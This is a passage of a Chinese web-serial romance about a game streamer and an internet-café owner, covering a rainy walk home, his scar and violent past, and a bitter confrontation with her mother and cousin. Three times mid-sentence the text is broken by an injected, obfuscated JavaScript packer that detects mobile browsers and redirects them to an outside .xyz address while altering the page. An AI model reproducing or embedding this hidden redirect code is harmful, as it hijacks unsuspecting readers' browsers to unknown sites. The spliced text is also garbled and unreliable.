她这话说完,空气安静了两秒。 关时微微扯了扯嘴角,重复一遍:“做人设?” 不知道是不是错觉,程舒晚觉得他看起来有些不高兴。 能赚钱不就行了,还有什么不满呢?程舒晚想着,嘴上应答道:“嗯,直播间挺多人吃这套的。” “哦。”关时意味深长地笑了一下,“七年没联系过的白月光上线,我还以为你会更高兴一点。” 程舒晚:“……” 这话从关时嘴里说出来有点阴阳怪气的味道。 程舒晚突然有点儿烦。 她不是很喜欢被人打探,也不喜欢对她自以为是的揣测,尤其是年少时的事情,包括二更天。 揣测错就算了,但关时揣测无误,会更让她感到无所遁形的烦躁和无措。 “我确实挺意外,也很惊喜,”程舒晚压着眉头道,“但是这些姑且算我个人的事情,不告知你,应该是被允许的吧。” 关时沉默半晌,随后站起身,哂笑,“行。” 他伸手把电脑关机。 天气已经逐渐有了热乎劲,程舒晚都换上了轻薄的长袖,关时穿的也是微贴身的衬衫,袖口卷了两卷,伸长胳膊时露出一截好看的腕骨。 ——还有半道显眼的狰狞刀疤。 程舒晚以为自己走眼,又定睛看了一遍,但关时已经收回了手,抬眸瞥她,“嗯?” “没。”程舒晚收回目光,末了还是指了指他的手,“是疤吗?” “啊。”关时把手插进兜里,笑了,“这姑且也算我个人的事情。” 程舒晚:“……” 关时:“允许我不告知吧?” 没想到自己说出口的话会以如此迅速的方式回旋扎到自己脑门上,程舒晚啧他一声,扭头走进小卖部。 再出来时,关时仍然在大厅待着,还冲她扬了扬下巴,“准备回去?” “没。”程舒晚往楼梯走去,“准备录素材,做点视频。” “哦。”关时道,“要回去的时候叫我。” 程舒晚脚步顿了顿,“叫你干嘛?” 关时弯眼笑笑,“下班。” 你爱下班下班,你这班上得跟没上不一样吗? 程舒晚有点无力吐槽,木着脸点了个头就继续往楼上走。 待到在位置上坐下的时候,她才后知后觉,关时这话的意思应该是等她工作结束一起回去。 等她一起回家。 这句话蹦进脑子的时候,程舒晚第一次有了种奇妙的感觉,有点新鲜。 这种新鲜在第二天晚上下播后,收到关时“楼下前台,等你”的消息时达到顶峰。 而后好几天,程舒晚晚上十二点下播之后,都会收到他的消息。 木吉网咖客服:“楼下前台,等你。” 木吉网咖客服:“前台。” 木吉网咖客服:“。” 程舒晚没有回复,但是每天下楼,都能看到那青年单手托下巴靠在前台和小贾或者裴哥聊天,扭头看到她下来,会露出灿烂的笑。 程舒晚不知道关时到底是出于监工还是“天晚了不要一个人走夜路”的热心,又或者其他什么不能宣之于口的想法。 她只是发现,自己似乎并不排斥这种,被人等待的感觉。 小时候,父亲是出租车司机,母亲是酒店的前台,为着仨瓜俩枣跑生活,她从上小学开始就一直是自己一个人上下学。 高中时,谭婧虽然跟自己同校,但她周六放学后有补习班,当时大荷地铁站还没有建成,她只能自己一个人坐公交转地铁,横跨半个城市回到父母都还没下班、兄长在外地读书的空房子里。 没有人等她。 更别提上大学之后至今的独居生活。 而现在,从网咖到小区的路已经走过不知道多少遍,程舒晚已经熟练掌握在树根凸起的破路上如履平地,也逐渐习惯总是落后半个身位,走在身边的关时。 有个人等着她下播,再同路而归。 似乎,也不错。 只是程舒晚稍微有些困惑。 关时。 他究竟为什么要做这些呢。 是因为他本来就是个很好的人,还是……只对她这样? 他们之间。 是不是开始。 越过某条界限了? 热了几天之后,朔江市开始冷却透凉,下起绵密的细雨,把整个城市笼罩起来。 谭婧也拟定好了程舒晚委托的协议,程舒晚看着没什么问题便打印下来,这天下播之后下楼拿给关时。 关时看着拿到手上长达五页纸的协议,翻来覆去看了许久。 程舒晚:“我不会给你挖坑。” “我知道。”关时从桌上抽了一支笔,低头签下自己的名字,“虽然我说过没有必要,但是既然你破费准备了,我当然每个字都要看。” 程舒晚:“我有个做律师的朋友,找她做的,底价,没破费。” 关时:“那就不辜负你朋友的努力。” “……哦。”程舒晚应了声,没忍住,“有没有人说你是菩萨?” 关时听出她话里的嘲讽之意,低头笑了,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364900|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔递给她,“我有时间,有钱,有胸襟,富有而慷慨,你羡慕不来。” 程舒晚:“……” 她想讽刺两嘴,但预感这个话题下自己有可能自取其辱,于是闭嘴默默在协议上签下自己的名字。 关时转头看大门外,“下雨了,带伞没?” “带了。”程舒晚跟着看了眼,外面下了淅淅沥沥的小雨,属于打伞麻烦,不打伞会淋湿的程度。 “那走吧。”关时一插手,“我没带。” 程舒晚刺笑,“咔”地盖上笔帽,“慷慨老板,富有的你怎么不去买一把?” “越是富有越懂得该省省该花花。”关时伸出手指勾走程舒晚手边的折叠伞,“小贾值班辛苦哈,我们先走啦。” “喂。”程舒晚拿走自己那份协议,跟前台的小贾点了个头,三两步跟上顺走自己雨伞的慷慨老板,“我打伞吧。” 关时“哗”地撑开伞举起来,居高临下地睨着她笑,“高个儿撑伞,这是职责。” 程舒晚:“……幼稚。” 这个男人的年纪都长在身高上了,心态撑死了八岁。 程舒晚的折叠伞两面纯黑,不大,勉强能罩住两个人,打在伞顶上的雨声很轻,汇聚成一缕缕细碎的水珠滚落,偶尔滴在手上,凉丝丝的。 但关时很暖。 程舒晚偶尔会在电梯间碰上他健身回来,关时运动相当频繁,身强体壮的,在旁边就是个人形暖炉,散发的暖意越过几厘米的距离,一点点将她包裹起来。 有点儿……太近了。 程舒晚稍稍往旁边退开一点拉开距离。 关时:“会被淋到。” 他把伞倾斜过来了些。 程舒晚为这家伙的眼尖感到一阵窘迫,开口:“没事,别管……” 话还没说完,她一个不留神被脚下的树根拦了下,踉跄着就往前扑。 “草。”她手忙脚乱地一把拽住关时撑伞的胳膊,关时也同时半转身子来伸出手攥住她的手腕,稳住了没摔。 两人以一种诡异的“要下跪被对方架住说你别跪”的姿势定格须臾。 关时:“看起来不能不管。” 程舒晚光速站直,松开拽住他胳膊的手,“……意外。” “稳当些,我的大主播。”关时笑着掖了掖袖口。 谁的大主播。 别乱说话。 程舒晚刚要开口吐槽,突然注意到刚刚自己那一爪子把关时右手袖子给拽到胳膊肘去了,这次离得近看得清楚,他右手腕骨上确实有一道刀疤,斜跨过了整个右小臂,延伸到袖子下看不见的地方。 她顿了下,把嘴边的话咽了回去,当做什么都没发生。 “……雨天路滑。”她为自己开脱,“没注意。” 关时接话:“嗯,要清明了嘛。” 清明。 对啊,后天就是清明假期了。 程舒晚对节假日没什么实感,以前她都是留公司里加班的那个,但是今年不一样,今年有要祭拜的人。 想到祭拜,程舒晚心里好像瞬间压上了一块石头。 自从上次挂断母亲蒋慧玲的电话,蒋慧玲又连着几天打过来好几次,她都没有接通,只回了信息告诉他们自己还好。 但是如果要去墓园祭拜程舒恒,她大概率,无法避免和他们见面。 ……烦。 程舒晚沉默地往前走,没过一会,关时的声音从头顶传来:“清明当天去墓园吗?” “嗯。”程舒晚没提父母的事情,“要去的。” “那到时一起去。”关时道,“我车坐得下。” 程舒晚怔然,扭头看他,“你们一家?拜谁?” 关时哂笑一声,“你哥啊。” 哦。程舒晚低头想了想,答应下来:“好。” 关时“嗯”了声,没说话。 半晌,他的声音再次轻轻响起。 “还有我爸。” 28. 过往 这是关时第一次说起自己的父亲。 程舒晚在红枫小区住了也有一个多月,见过关时的妹妹,也偶遇过几次他的妈妈,对那位从不曾露面的父亲形象确有疑问,现在终于是明白过来。 怪不得关时从来不提。 “抱歉。”程舒晚说道。 “没,用不着道歉。”关时倒是一副满不在乎的模样,“我爸已经走了快二十年,我都记不清他长什么样子了。” 程舒晚点头,没问关时的父亲是如何去世的。 没必要问,就像她也不希望别人问程舒恒是怎么死的一样,这不是什么能拿来八卦的话题,他们俩都清楚。 清楚归清楚,程舒晚的脑子还是不受控制地自己联想起来。 快二十年,那父亲离开时关时估计才八九岁,妹妹关星玥可能才刚出生。 哦,所以关星玥才说她哥总喜欢当爹,家里没有成年男人,关时肯定从小就承担了这样的角色。 “很辛苦吧。”程舒晚说道。 关时冷不丁听她蹦出来这么一句,有点意外:“你在关心我吗?” 程舒晚转头看见关时略带戏谑的表情,下意识就想扔出一句“谁关心你”,但才刚牵动嘴角,话到嘴边又咽下去了。 “嗯。”她改口承认,“是关心。” 她亲眼看见关时脸上的表情从戏谑凝固成愕然。 啊。 有点好玩。 “不习惯我这么真诚?”她问。 关时:“说老实话,有点惊悚。” 程舒晚:“……” 她说句好话有那么吓人吗! “请你珍惜。”程舒晚没好气地轻嗤了声,“不是谁都值得我关心。” 关时:“谢主隆恩。” 程舒晚:“好好说话是判刑还是怎么。” 关时笑了起来。 他把手探出雨伞外,轻声道:“雨小了。” 程舒晚看伞外飘扬的雨丝,已经不像刚刚那般密密斜织,只在路灯的白光中细绒般落下,又轻又柔。 “雨会停的。”关时说。 终归是会停的。 回到家之后,程舒晚洗了个舒服的热水澡,钻进被窝,在睡觉之前进行最后的仪式——刷手机。 但看到手机日历上清明节的日期,她不由得陷入些微烦闷的情绪之中。 蒋慧玲这两天肯定会来电话抓她回去。 得思考思考怎么应对。 正想着,手机突然振动两下收到一条信息,程舒晚心中一凛,连忙看消息。 是苏新胜发来了语音。 草,吓死了。 程舒晚泄了口气,随即反应过来现在已经快半夜一点了,蒋慧玲早睡早起,不可能这时候找她。 但苏新胜怎么会给她发消息?有急事? 程舒晚点开那条语音,大嗓门的男声瞬间从手机喷薄出来:“晚姐,我今天看见你直播了!” 她在第一时间把手机拿远八百米。 不是,这丫有病啊! 这种事情有半夜一点专门发消息说的必要吗! 程舒晚揉着太阳穴,咬牙切齿打字:“你不睡觉的?” “哦,我以为晚姐你也跟我一个作息。咱主播还有那么早睡觉的?夜生活才刚刚开始啊晚姐,我还想问你要不要出来喝酒呢,带你认识新朋友!” ……真想离这些才一面之缘就自来熟得令人发指的社交恐怖分子远点。 跟苏新胜一比,程舒晚甚至开始怀念关时那尚且还剩一点边界感的热情了。 “我要睡了。”程舒晚下达逐客令。 “等下等下。”苏新胜连忙发语音,“我看见你的直播切片,那个叫二更天的好友……不是你安排的节目效果吧?” “不是。怎么?” 苏新胜:“啊……那关狗知道这事儿吗?” 嗯?关时? “跟他什么关系?”程舒晚问。 苏新胜尬笑:“啊哈,没事儿,没事儿,我就随口问一下,他不是投资你嘛。” 虽然苏新胜这理由合乎逻辑,但程舒晚直觉他有什么事情瞒着自己。 “对了晚姐,我今天还刷了好些《封神图录》女主播的直播间。”苏新胜突然开了个新的话头,“分享给你看,可以参考参考。” 程舒晚刚想说你不要扯开话题,眼前一花,苏新胜发了七八张图片瞬间刷屏,她卡壳半晌,不自觉被图片内容吸引注意力。 这些都是游播社主播的直播间或者主页截图,程舒晚在做账号分析的时候基本上见过,还有一两个是四年前同期起号的主播,如今都做到几百万粉丝了。 如果她当初能坚持把“早早不起早”坚持下来,或许现在也会有这样的成就。 算了,从现在开始重新努力不就行了。程舒晚把泄气话赶出脑海,正要退出图片预览,目光突然在当前显示的图片上捕捉到一个眼熟的ID。 这张截图来自一个八十万粉丝的主播,ID叫“小月幽幽”,直播间封面是她自己的卖萌自拍,长相甜美,就是滤镜开得有点儿高,整张脸除了五官之外轮廓都有些看不清了。 但程舒晚记得这张脸。 小月幽幽。 呵。 九十八万粉丝,居然都混到这个体量来了。 苏新胜发来新语音:“怎么样?挺齐全吧?” 程舒晚退出图片预览:“谢谢。” “得,有用就行。”苏新胜道,“我本来还想多跟你聊聊直播的事儿,感觉很有意思……唉,可惜,我还想把关狗一起叫出来呢,那家伙晚上总是待在家里叫不出门。” 程舒晚的注意力从“小月幽幽”转移过来,颇为好奇地问:“你跟关时认识很久了?” “哟,这话说得。我俩幼儿园的时候抢玩具打架认识的,你说久不久。” “哦。”程舒晚应了一句,“那谁抢赢了?” 苏新胜闻言卡壳,气急败坏:“能问点别的不行!” 程舒晚:“哦,关时赢了。” 苏新胜:“……” 程舒晚非常贴心地补了一句:“没有看不起你,只是关时看起来比你会打。” 不加这句还好,加上看起来更像是嘲讽了。 “晚姐你说话还挺有个性。”苏新胜没好气道,“得了,论打架我哪能跟关狗比,我没他疯。” 程舒晚捕捉到他的形容词:“疯?” “……嗨,”苏新胜隔了好一会才回复,声音有点儿心虚,像是无意说错什么一样,“没啥没啥,关狗小时候脾气不好而已。” 脾气不好? 程舒晚觉得这话形容她更贴切,这四个字怎么可能放在关时身上。 那个面对她冷言冷语都能微笑以对的青年,是她见过最有耐心,脾气最好的人。 原来他以前,是另一幅样子? 程舒晚还想多听些,但苏新胜却知言多必失般闭了嘴。她捻了捻手指,决定主动开口问:“你上次说可以跟我讲关时不会说的秘密。” 苏新胜“呃”了半天,“我是说过。” “还算数吗?” “呃……” “晋级赛?” “……算,当然算!”提到晋级赛,苏新胜猛地豁出去了,但下一刻又发怂起来,“晚姐,你是想问他以前什么样?这个我可能不能说太多,你悠着点问。” “嗯。”程舒晚道,“我想知道他手上的疤怎么来的。” 苏新胜那边安静许久。 “我还是跟你说他以前什么样吧。”他道。 程舒晚:“?” 那道刀疤是那么不能说的事情吗? “不是故意瞒着你,说来话长……反正就是关狗十好几岁的时候跟人打架,对方带了刀,砍了老长一条。”就算是隔着语音,程舒晚都能感受到苏新胜苦恼地挠了挠脑壳,“我怕你对他产生什么误解,他真不是那种人……我从头讲吧。” 程舒晚:“嗯。” 她在被窝里翻了个身,正过身子盯着手机。 苏新胜:“我听玥玥说你是她师姐,你以前也在文山中学读书对吧?大概知道大荷这边的情况?” 程舒晚:“知道。” 读高中时,所有老师都耳提面命放学之后赶紧回家,不要在大荷街区乱逛。那会儿大荷都已经经过好几次的清扫打击仍然需要这么提防,更不用想象二十几年前,这边的地痞流氓有多猖獗。 苏新胜:“关时他家的网吧是他爹妈借钱开的,不过这里的生意真不好做,你懂嘛,这种地方他喵的无业游民啊无赖啊啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364901|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的最多了。” “我不知道关时说没说过,他爹走得早,姚姨一个人又要开店又要养他俩还得面对那些破事,累得很,关时也是心疼妈,就跟那些地痞斗狠,挺凶的。” 程舒晚提出疑惑:“不能报警?” “报警有什么用啊,警察又不能二十四小时盯着,但地痞每天都很闲。”苏新胜啧了声,“光脚的不怕穿鞋的,要让那群渣滓不碰你的生意,最好的方式就是比他们还不要命,让他们每次找事之前都得掂量掂量。” “关时选择成为一条让光脚的也害怕的疯狗。” 程舒晚眼睫微微颤了颤。 她回想起来第一次去网咖,中年男人抓女儿闹事那天,那时候关时明明是笑着的,她却能捕捉到藏在表情背面的戾气,现在苏新胜一说,倒是有了解释。 程舒晚:“所以他手上的疤也是?” 苏新胜:“差不多。” “对方是什么人?后面怎么样了?”程舒晚问,“持刀伤人可以判刑。” 聊天窗口寂静半晌。 “判了。”苏新胜这会儿不发语音改打字了,“不过过程不是你想的那样,这段我不好说,关时不主动提的话你也别问他。” 程舒晚盯着聊天窗口没说话。 “大概就这么多。”苏新胜长舒一口气又转回语音,语气重新大大咧咧起来,“晚姐你也别想太多,都是过去的事情了,他现在就那二哈样,你别太有负担。” “嗯。”程舒晚木木地发了个字。 苏新胜大概是觉得自己今晚说太多了,快速结束话题:“别说是我说的昂,好啦,我享受夜生活去了,晚姐早日爆火哈!” 说罢他便没再回复消息,程舒晚也放下手机,眼睛却眨也不眨地盯着天花板,跟个雕塑一般挺尸许久。 窗外的雨又开始下起来,沙沙的,带着雨腥的凉意顺着窗户缝挤进来,略过程舒晚的鼻尖。 她猛然抬起胳膊横在自己双眼上,吸了口深深的空气。 鼻尖怎么在发痒……肯定是风吹的。 关时。 是个孤独的人。 程舒晚知道自己在别人眼里大抵也是孤独的,但她不太在乎别人的眼光,也不太在乎别人的死活,不屑于去跟什么都不懂的人解释。她的所谓“孤独”是她自己的选择,可关时与她并不相同。 关时总是笑着的,偶尔,程舒晚能看到他没有表情的样子。有时候是在玩手机,有时候是在发呆,但只要视线跟人碰上,他就会条件反射般从皮囊里涌出那些熟悉的热情笑意来。 但这些温热的东西背后,他藏匿于箱子中的,那些他从来不让他人看见的。 全都是。 他自己一个人背着? 程舒晚关了灯,在黑暗中与天花板大眼瞪小眼,睡意却迟迟未至,她又拿起枕边的手机点开微信,在聊天窗口找到那个“木吉网咖客服”的名字。 名字下方显示的是二人最后的对话,时间是她今天下播的时刻,是关时的“等你”。 程舒晚点开他的头像,把备注改成了“关时”,随后点开对话框。 “睡了吗?” 她手指顿了顿,把这句蹩脚的开场白删除。 却不知道要说什么了。 程舒晚盯着空白的对话框有一两分钟,第一次那么痛恨自己的低情商,索性关了屏幕把手机扔到一边。 算了,大半夜的。 睡觉吧。 结果就是,第二天早上,程舒晚站在洗漱台镜子面前,盯着镜子里自己眼睛下面多出来的黑眼圈。 她低头洗了把脸,还没擦干净水珠就没忍住无语又自嘲地笑了出来。 果然,心疼男人没好事。 明天就是清明节,但今天的主播工作仍然要继续。距离午饭还有一段时间,程舒晚前去网咖专属于自己的15号包间,准备为自己账号更新视频准备游戏素材。 调试好录屏软件,点开匹配,读条,进入对局。程舒晚放松了下双手,刚刚放到键盘鼠标上——手机很不合时宜地振动起来,有人打进电话来了。 啧。 程舒晚摸起手机看了眼,手突然定格在半空。 来电是“妈”。 她忘了这茬。 就说心疼男人没好事吧。 29. 争执 程舒晚这次没有犹豫接不接电话,她瞄了眼游戏已经开了,便把手机静音翻过来盖在桌上。 她知道蒋慧玲打电话过来是想说什么,但现在不想跟她假惺惺地逢场作戏,索性晾一会儿,跳过“轻声细语”和“垂泪哭诉”,直接到嘶声力竭吵架的第三阶段还方便一点。 程舒晚把注意力全都放到对局上,可惜打没几十秒就悲催地发现。 己方有人挂机。 出师不利。 程舒晚这局游戏选择的是软辅,没有力挽狂澜的手段,十八分钟就被推平拆家遗憾落败——这可不是什么好兆头。 她关闭了录制软件,这才重新拿起手机来,页面上显示有一串未接来电。 十三个。 真牛逼……程舒晚腹诽一句,突然发现十三个未接来电并不全都来自蒋慧玲,还有另一个号码,宁松明。 她愣了愣,随即明白过来蒋慧玲定然又找那缺心眼玩意儿哭诉了,念头还未落下,手机又打进来一个电话,正是宁松明。 程舒晚在看清名字的一瞬间就刷地挂断了。 就是和蒋慧玲再不对付,那也是他们家自己的事儿,她不希望中间掺杂一个她讨厌至极的人。 程舒晚点开蒋慧玲的未接来电,反手打了回去。电话响了几声接通,那头却一片沉默。 程舒晚先开口:“在。” 听筒里传来一声冷笑,“好大的脾气啊,程大小姐。” 程舒晚无视这句阴阳怪气,垂眸盯着键盘:“什么事。” “你为什么不接电话?我的也不接,你弟的也不接……” “妈。”程舒晚打断蒋慧玲的话,“我没有弟弟。” 蒋慧玲停顿片刻,“松明是自家人。” “有话直说。”程舒晚懒得跟她掰扯。 “收拾东西下楼,我在楼下。”蒋慧玲的语气不容反驳。 空气仿佛暂停一瞬间。 程舒晚牵扯嘴角,不敢置信:“现在?你在楼下?” 蒋慧玲:“对。别让我说第三遍。” 程舒晚扶着额头,差点笑出声来。 她以为宁松明那个狗东西一声不吭出现在家楼下已经很诡异了,没想到蒋慧玲也是这样的行径。 甚至在打不通她电话的情况下,蒋慧玲也不会亲自去按一下门铃或者刷卡上楼敲门——她明明有门禁卡。 只要摁一下门铃就能知道她不在家。 宁可站在楼下一遍遍打她的电话,直到她接起来为止。 像是某种服从训练。 受够了。 “我不在家。”程舒晚忍不住带了火药味,“你过来不先说,我没事要做的?” “你能有什么事?”蒋慧玲问,“又不上班,天天享受生活,还不能容许我来找你?整天不接电话也不回家,我专门请假过来找你,你还这个态度……” 程舒晚站起身关了游戏和剪辑软件,毫无耐心地扔下两个字:“等着。” 她关门下楼,今天前台值班的是裴哥,见状诶了她一声:“小程,不是刚来嘛?走啦?” 程舒晚摆了下手,什么都没说,跟个风暴眼一样浑身低气压地席卷出网咖。 裴哥“嘶”了声,疑惑地摇摇头。 程舒晚夹风带雪地回到红枫小区,没在十三栋楼下看见蒋慧玲的身影,倒是看到了别的——一辆眼熟的黑色轿车停在单元门跟前,恬不知耻地占着狭窄的车道。 是宁松明的车。 她一瞬间好像听见心口什么东西炸掉的声音。 这孙子给她打电话就算了,还敢再出现在这里。 换做平时程舒晚大老远看见宁松明肯定转身就走,但现在她正想找个人骂,于是寒着脸走向这位撞到枪口上的幸运选手。 她刚刚走近,驾驶位的车窗就早有准备似的降下,宁松明顶着那张装模作样的笑脸假惺惺地看她,“哟,你还挺难叫动。” “关你什么事。”程舒晚冷冷道。 宁松明双手搭在方向盘上,神色中带着幸灾乐祸,“我只是传达大姨的话而已,不乐意听我说的话就听她自己说。” 他话音刚落,轿车后座的车窗也降了下来。 蒋慧玲坐在宁松明的车里,神色极淡地隔着车窗盯着她。 “程舒晚,你挺长本事。”蒋慧玲说道。 程舒晚攥着放在卫衣兜里的手,与突然出现的蒋慧玲对视,没有任何表情。 或者说,她震惊得摆不出任何表情,脑子里只剩下一个想法—— 荒谬。 她本来以为蒋慧玲是找不着她才故技重施,让宁松明过来堵她,原来不是。 原来从一开始,她就是跟宁松明一块儿来的。 蒋慧玲已经是退休的年纪,眉目之间仍能看出漂亮的韵味,挽着长发,五官又冷又淡,和程舒晚几分相似,只是嘴角总是往下撇着,看起来多几分严肃的刻薄。 她车门都没打开,冲程舒晚抬了抬下巴,“去楼上收拾行李。” 又是这样命令一般的口吻,甚至不打算解释自己为什么过来,还非要那个她讨厌的表弟开车接送。 程舒晚没动,“要干什么?” “回家。”蒋慧玲道,“明天一起去墓园。” “我不跟你们去。”程舒晚拒绝,“你回去吧,让你这个司机也一起滚。” “司机”宁松明挑了下眉头。 蒋慧玲拧着眉,“你怎么说你弟的?对家里人都这么刻薄,想让人说你是不忠不义的白眼狼?” 程舒晚“呵”了声移开目光,“再说一次,我没有弟弟。倒是儿子死了立刻认了个新的,这才是不忠不义吧。” 她讽刺的话刚说完,脸上就挨了一巴掌,“啪”地一声,脆响。 蒋慧玲胳膊伸出车窗,攥成了拳,一直冷静的表情终于有了裂缝,“我教你说这样的话了?” 程舒晚偏着头,轻轻舔了下嘴角,看来蒋慧玲还没有情绪失控,这记耳光是收着力道的,没那么疼。 但是打掉了她最后的礼貌和耐心。 “我再说一次,我不回去。”程舒晚回过头直直盯着蒋慧玲的目光,“你要是来做客,就跟我上去,我那儿有茶也有甜点可以招待你,要是叫我回去你们那个房子住,还是省省。” 她说罢后退两步往单元门的方向走——要不是不想被蒋慧玲跟着发现自己去网吧,她现在就该回去继续打游戏剪视频了。 但是只要她回802,蒋慧玲就不会上楼来。 “程舒晚!”蒋慧玲拉开车门下来,上前几步拽住她的胳膊。程舒晚偏头看她,脸上没有任何表情。 蒋慧玲嘴角松动几番,语气软了下来,“晚晚,你是不是还在恨我和你爸?” “呵。”程舒晚什么都没说。 蒋慧玲:“晚晚,你理解一下妈妈,对家里有什么不满我们都可以坐下来商量,都是一家人,何必……” “可以啊。”程舒晚道,“上楼聊,走吗?” 提到去802,蒋慧玲的话头戛然而止,神情空白地看着程舒晚。 “看吧,妈。”程舒晚讽刺地勾了勾嘴角,“你连程舒恒的死都不愿意面对、不愿意承认,还想跟我商量什么呢?” 蒋慧玲似乎还想挽尊,张口几次,却都说不出什么话来,只是眼眶红了。 “如果你真的在乎,尊重我。”程舒晚慢慢道,“就不该带着宁松明站在我面前。” “……” “你的确没教我说难听的话,但是四年前,我听过难听千百倍的恶语相对,到现在那些痕迹都还留在网络上,你真的去看过吗?知道当时我是被怎么骂的吗?” “晚晚,那些都不是松明故意……再说都这么久了……” 程舒晚打断她:“如果说谁最没有资格让我原谅当初的事情,就是你和爸。” 蒋慧玲站在原地,睁着通红的眼睛一动不动盯着程舒晚。 片刻后,她爆发出一声尖细的哭泣。 “儿子没了,女儿也恨我!”她喊道,“我起早贪黑兢兢业业三十年做牛做马,我图什么!不如死了算了!” “回车上去哭。”程舒晚把蒋慧玲的手扯开,“这里隔音不好,你再在这儿多喊一句,明天所有邻居都知道你做妈有多失败。” 这话对面子大过天的蒋慧玲来说很有用,她真的没再大喊大叫,只抹着泪,伸手指着程舒晚,咬牙切齿挤出一句:“白眼狼,白眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364902|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼!我就不该生你!” 程舒晚双手插在卫衣兜里,不痛不痒地笑了下。 就说吧,还得戳到痛处才会撕掉面具露出真面目。 宁松明见状下车过来扶蒋慧玲,似乎还劝了什么,蒋慧玲是不是在跟他哭诉她这个女儿有多不仁不义,程舒晚都不清楚了。 她已经转身刷门禁,进了单元门。 电梯上行。 打开802的门,手机振动起来,程舒晚拿起来一看是宁松明,非常干脆地划掉,但很快又收到他的微信消息。程舒晚没去看他发了什么,删除拉黑一气呵成,顺便把手机关机,扔到茶几上,随后一头栽进沙发里。 一片沉寂之中,她深深吸了口气。 所有强硬的情绪在肾上腺素褪去之后逐渐回落,像是大学时体测长跑,拼死拼活终于踩着及格线冲过终点之后,一边如释重负地喘气回复体力,一边绝望地想起来自己还有仰卧起坐没考。 从心底里一点一点滋生出浓重的无力感和迷茫,瘟疫般瞬间感染身心。 程舒晚就这么瘫在在沙发上不想动,不知道过了多久,突然响起的门铃声将她的注意力拉回来。她抬眸看向门口。 自从搬到这里,这颗门铃就响过几次,分别是关星玥,关时,以及燃气检查人员。程舒晚不相信蒋慧玲或者宁松明会上来敲门,所以下意识的,脑子里闪过关时站在门外的场景。 哈哈。 怎么可能呢。 门铃又响了一次,程舒晚把自己从沙发上拎起来,走到门口透过猫眼对外看了看。 门外是个低着头看手机的青年,一头细碎的黑色短发挡住前额,但他穿着件浅色的冲锋衣,程舒晚对这件衣服印象深刻。 是她刚刚搬来那天,关时身上穿的那件。 她的手几不可闻地颤抖一下。 关时,真的出现在门口了。 就在他抬手要按下第三次门铃的时候,程舒晚拉开了门,“怎么了?” 她目光下移,发现关时手机上是微信的聊天界面,对面的头像是……她。 看见程舒晚开门,关时上下打量她一番,确认她活蹦乱跳之后肉眼可见地松了口气,扯开熟悉的笑来:“还以为你出什么状况了,消息不回,手机也关机。” 所以他看手机,是在等她的消息? “我能出什么事。”程舒晚盯着他的笑有些动容,不由偏开目光,嘴硬地小声嘀咕,“没回消息至于来敲门么。” “我刚健身房回来,看见上回那辆车在楼下。”关时道,“我有点担心,会对你做什么。” “……操心那么多。”程舒晚后退两步,“你要进来喝杯茶吗?” 程舒晚难得主动发出邀请,关时恭敬不如从命,“叨扰了。” 他脱了鞋放在门口,将肩上的背包放在进门的玄关,这才穿拖鞋进客厅。程舒晚弯腰从茶几底下取出茶叶,拿着热水壶去厨房接水。 再回来时,关时站在客厅的窗户边上往下望。 程舒晚滴地按下烧水键,“在看什么?” 关时收回目光,“他们还没走。” 程舒晚垂眸,轻轻“哦”了声,“你是不是想问什么。” 关时看她,“车里的……” 程舒晚:“我妈。还有我表弟。” 关时没说话。 客厅里只有烧水的声音。 “用不用帮忙。”关时突然道,“我有办法让他们离开。” 程舒晚意外地抬起头望着关时。 他背对着窗户,手肘撑在窗沿,脸上挂着浅淡的微笑,眼睛却很平静,这幅样子让程舒晚想起昨晚苏新胜所说的那些事情。 “不用了。”她缓慢而坚决地摇了摇头。 关时,现在这样很好。 他一步一步走到今天肯定不容易,没有必要因为她,因为她的家事,重新陷进乱七八糟的泥潭当中。 “好。”关时回答,“那我再问一个问题,可以吗?” 程舒晚把烧开的水壶拿开,泡了两杯茶。 关时:“四年前你被造谣退网,始作俑者就是那个男的,你表弟吗?” 程舒晚手上动作一顿,半晌后,慢慢地点了下头。 30. 心动 程舒晚在大学时,和宁松明之间的关系还没有那么糟糕,依然是可以在宁松明来海宜市旅游的时候,允许他来出租屋坐一会喝两杯茶的关系。 即便她很不喜欢这个表弟,但是亲戚之间的礼仪,她认为自己是做全了的。 没想到那个混账东西拍了她和她生活起居住所的照片,全都成了后来造黄谣时攻击她的武器。 程舒晚并不想提起那些事,一方面这是不光彩的家丑,另一方面她确实花了很长的时间才走出来。 从关时道出阿早的身份开始,她就一直提防他提问当年退网的事由。 她不愿意提,也不愿意让关时知道那些腌臜。 她有点怕关时问出一声“为什么”。 在片刻的沉默之中,关时坐到沙发上,随手拿起一杯热茶。 程舒晚盯着他。 他开了口。 